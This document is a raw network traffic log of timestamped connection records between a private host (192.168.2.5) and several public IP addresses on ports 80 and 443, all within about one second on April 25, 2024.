Apr 25, 2024 21:44:57.132360935 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132462978 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.132669926 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132719994 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.132869959 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132909060 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132925034 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132958889 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.137914896 CEST	49715	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.172712088 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.200409889 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.203479052 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.203536034 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.203608036 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.203867912 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.203881025 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.247553110 CEST	80	49715	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.247672081 CEST	49715	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.248467922 CEST	49715	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.253554106 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.253618002 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.253659010 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.253676891 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.253722906 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.253761053 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.253763914 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.253801107 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.253856897 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.253994942 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.254034996 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.254074097 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.254074097 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.254115105 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.254153013 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.256172895 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.256227016 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.256268024 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.256278038 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.256302118 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.256336927 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.256366968 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.256395102 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.256432056 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.256601095 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.308403969 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.358020067 CEST	80	49715	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.372350931 CEST	80	49715	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.372374058 CEST	80	49715	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.372391939 CEST	80	49715	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.372461081 CEST	49715	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.374576092 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.374612093 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.374660969 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.374663115 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.374684095 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.374722958 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.374741077 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.374743938 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.374774933 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.375025034 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.375062943 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.375102997 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.375109911 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.377893925 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.377912998 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.377953053 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.377969027 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.378006935 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.378007889 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.378046989 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.378081083 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.378088951 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.378344059 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.378381968 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.378397942 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.378437042 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.378473997 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.381726027 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.381762028 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.381802082 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.381804943 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.381861925 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.381880999 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.381899118 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.381902933 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.381937027 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.382205009 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.382251024 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.382288933 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.382466078 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.382976055 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.382997036 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.383018017 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.383042097 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.383079052 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.383097887 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.383131981 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.383167028 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.383204937 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.432310104 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.435642004 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.437865019 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.437886953 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.439524889 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.439588070 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.442069054 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.442296028 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.442401886 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.442409992 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.494172096 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494200945 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494220018 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494239092 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494241953 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.494270086 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494278908 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.494323015 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494363070 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.494363070 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494422913 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494462013 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.494478941 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494533062 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.494570017 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.495029926 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.495098114 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.495116949 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.495141983 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.495158911 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.495201111 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.495244980 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.495826960 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.495845079 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.495882988 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.495975971 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.501025915 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501065016 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501071930 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.501086950 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501154900 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.501167059 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501203060 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501243114 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.501509905 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501698017 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501717091 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501734018 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501749039 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.501751900 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.501773119 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.502268076 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.502289057 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.502310991 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.502334118 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.502370119 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.502410889 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.502429008 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.502463102 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.503139019 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.507950068 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.507971048 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.507991076 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.507994890 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.508029938 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.508047104 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.508112907 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.508157015 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.508373022 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.508394957 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.508435011 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.508439064 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.508459091 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.508500099 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.508543015 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.509236097 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.509299994 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.509325027 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.509345055 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.509382963 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.509435892 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.509454966 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.509499073 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.510440111 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.510458946 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.510514975 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.510539055 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.510556936 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.510571957 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.510595083 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.529170036 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529232979 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529275894 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.529277086 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529319048 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529324055 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.529362917 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529411077 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.529540062 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529577971 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529624939 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.529866934 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529932022 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529973984 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.529984951 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.530443907 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.530483007 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.530498028 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.530529022 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.530572891 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.530579090 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.530613899 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.530658007 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.531205893 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.531248093 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.531287909 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.531295061 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.531326056 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.531368017 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.531369925 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.532602072 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.532641888 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.532653093 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.532682896 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.532721043 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.532727003 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.532759905 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.532808065 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.533010006 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.533054113 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.533098936 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.533299923 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.533344030 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.533382893 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.533400059 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.533849001 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.533889055 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.533904076 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.534271955 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.534312963 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.534320116 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.534352064 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.534410000 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.534604073 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.534689903 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.534734011 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.534789085 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.534831047 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.534868956 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.534869909 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.535559893 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.535598993 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.535615921 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.535939932 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.535979033 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.535990000 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.536019087 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.536062002 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.536351919 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.536391973 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.536431074 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.536441088 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.536470890 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.536515951 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.536546946 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.537208080 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.537265062 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.537297964 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.537341118 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.537375927 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.537379980 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.551621914 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.648611069 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.649132967 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.649168015 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.649182081 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.649213076 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.649262905 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.652415037 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.656155109 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.656205893 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.656213999 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.660069942 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.660121918 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.660130024 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.663922071 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.663976908 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.663983107 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.667174101 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.667224884 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.667232037 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.669946909 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:44:57.669987917 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:44:57.670047998 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:44:57.670867920 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:44:57.670886040 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:44:57.671152115 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.671202898 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.671210051 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.674485922 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.674540043 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.674546957 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.678169012 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.678227901 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.678242922 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.681931973 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.681981087 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.681996107 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.685478926 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.685527086 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.685542107 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.692792892 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.692838907 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.692853928 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.696301937 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.696360111 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.696372032 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.742552042 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.758904934 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.760418892 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.760477066 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.760493040 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.763730049 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.763782978 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.763797045 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.767205954 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.767282009 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.767294884 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.770529985 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.770582914 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.770596027 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.773523092 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.773586988 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.773622990 CEST	443	49717	151.101.2.137	192.168.2.5
